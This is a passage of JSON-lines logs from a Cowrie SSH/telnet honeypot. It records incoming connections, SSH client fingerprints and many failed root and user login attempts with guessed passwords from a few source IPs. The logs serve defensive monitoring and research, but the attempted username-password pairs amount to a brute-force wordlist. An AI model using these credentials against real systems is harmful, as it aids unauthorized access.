","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:31.651165Z","src_ip":"2.57.121.25","session":"84a1d73bd72b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asdfgh123","message":"login attempt [root/Asdfgh123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:32.122901Z","src_ip":"60.165.124.241","session":"644242e328ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"20121980","message":"login attempt [user/20121980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:32.129195Z","src_ip":"2.57.121.25","session":"84a1d73bd72b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"20121977","message":"login attempt [user/20121977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:33.236842Z","src_ip":"2.57.121.25","session":"84a1d73bd72b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:33.392257Z","src_ip":"60.165.124.241","session":"644242e328ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.8.0.207","src_port":37502,"dst_ip":"10.17.0.5","dst_port":23,"session":"26dc178922f4","protocol":"telnet","message":"New connection: 123.8.0.207:37502 (10.17.0.5:23) [session: 26dc178922f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:33.461122Z"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48626,"dst_ip":"10.17.0.5","dst_port":22,"session":"24a29db50c61","protocol":"ssh","message":"New connection: 60.165.124.241:48626 (10.17.0.5:22) [session: 24a29db50c61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:33.615141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:33.624207Z","src_ip":"60.165.124.241","session":"24a29db50c61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:33.877186Z","src_ip":"60.165.124.241","session":"24a29db50c61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"20111981","message":"login attempt [user/20111981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:34.346153Z","src_ip":"2.57.121.25","session":"84a1d73bd72b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456Aa!!","message":"login attempt [root/123456Aa!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:34.597523Z","src_ip":"60.165.124.241","session":"24a29db50c61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"20071980","message":"login attempt [user/20071980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:35.451013Z","src_ip":"2.57.121.25","session":"84a1d73bd72b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:35.869675Z","src_ip":"60.165.124.241","session":"24a29db50c61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51710,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d274ae72f93","protocol":"ssh","message":"New connection: 60.165.124.241:51710 (10.17.0.5:22) [session: 8d274ae72f93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:36.084026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:36.099489Z","src_ip":"60.165.124.241","session":"8d274ae72f93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:36.361758Z","src_ip":"60.165.124.241","session":"8d274ae72f93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"20061979","message":"login attempt [user/20061979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:36.563691Z","src_ip":"2.57.121.25","session":"84a1d73bd72b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lf123456","message":"login attempt [root/lf123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:37.107643Z","src_ip":"60.165.124.241","session":"8d274ae72f93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:37.679987Z","src_ip":"2.57.121.25","session":"84a1d73bd72b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:38.354187Z","src_ip":"60.165.124.241","session":"8d274ae72f93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54840,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0da6cf4e370","protocol":"ssh","message":"New connection: 60.165.124.241:54840 (10.17.0.5:22) [session: e0da6cf4e370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:38.593766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:38.599083Z","src_ip":"60.165.124.241","session":"e0da6cf4e370","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:38.850863Z","src_ip":"60.165.124.241","session":"e0da6cf4e370","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vclusters","message":"login attempt [root/vclusters] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:39.587314Z","src_ip":"60.165.124.241","session":"e0da6cf4e370","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:40.833346Z","src_ip":"60.165.124.241","session":"e0da6cf4e370","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57716,"dst_ip":"10.17.0.5","dst_port":22,"session":"68b5181440c7","protocol":"ssh","message":"New connection: 60.165.124.241:57716 (10.17.0.5:22) [session: 68b5181440c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:41.102698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:41.110289Z","src_ip":"60.165.124.241","session":"68b5181440c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:41.380076Z","src_ip":"60.165.124.241","session":"68b5181440c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"restaurant","message":"login attempt [root/restaurant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:42.192845Z","src_ip":"60.165.124.241","session":"68b5181440c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:43.455619Z","src_ip":"60.165.124.241","session":"68b5181440c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":32786,"dst_ip":"10.17.0.5","dst_port":22,"session":"b066aeab35ba","protocol":"ssh","message":"New connection: 60.165.124.241:32786 (10.17.0.5:22) [session: b066aeab35ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:43.670555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:43.678512Z","src_ip":"60.165.124.241","session":"b066aeab35ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:43.925999Z","src_ip":"60.165.124.241","session":"b066aeab35ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"R0ck9","message":"login attempt [root/R0ck9] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:44.667589Z","src_ip":"60.165.124.241","session":"b066aeab35ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:45.911294Z","src_ip":"60.165.124.241","session":"b066aeab35ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35772,"dst_ip":"10.17.0.5","dst_port":22,"session":"4bb3d5325c59","protocol":"ssh","message":"New connection: 60.165.124.241:35772 (10.17.0.5:22) [session: 4bb3d5325c59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:46.186254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:46.195879Z","src_ip":"60.165.124.241","session":"4bb3d5325c59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:46.457304Z","src_ip":"60.165.124.241","session":"4bb3d5325c59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@2WSX","message":"login attempt [root/1qaz@2WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:47.271493Z","src_ip":"60.165.124.241","session":"4bb3d5325c59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:48.539090Z","src_ip":"60.165.124.241","session":"4bb3d5325c59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38926,"dst_ip":"10.17.0.5","dst_port":22,"session":"78c86bad6be2","protocol":"ssh","message":"New connection: 60.165.124.241:38926 (10.17.0.5:22) [session: 78c86bad6be2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:48.772650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:48.782863Z","src_ip":"60.165.124.241","session":"78c86bad6be2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:49.036015Z","src_ip":"60.165.124.241","session":"78c86bad6be2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@123456","message":"login attempt [root/Aa@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:49.795430Z","src_ip":"60.165.124.241","session":"78c86bad6be2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:51.050656Z","src_ip":"60.165.124.241","session":"78c86bad6be2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41980,"dst_ip":"10.17.0.5","dst_port":22,"session":"88592d486216","protocol":"ssh","message":"New connection: 60.165.124.241:41980 (10.17.0.5:22) [session: 88592d486216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:51.295344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:51.316751Z","src_ip":"60.165.124.241","session":"88592d486216","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.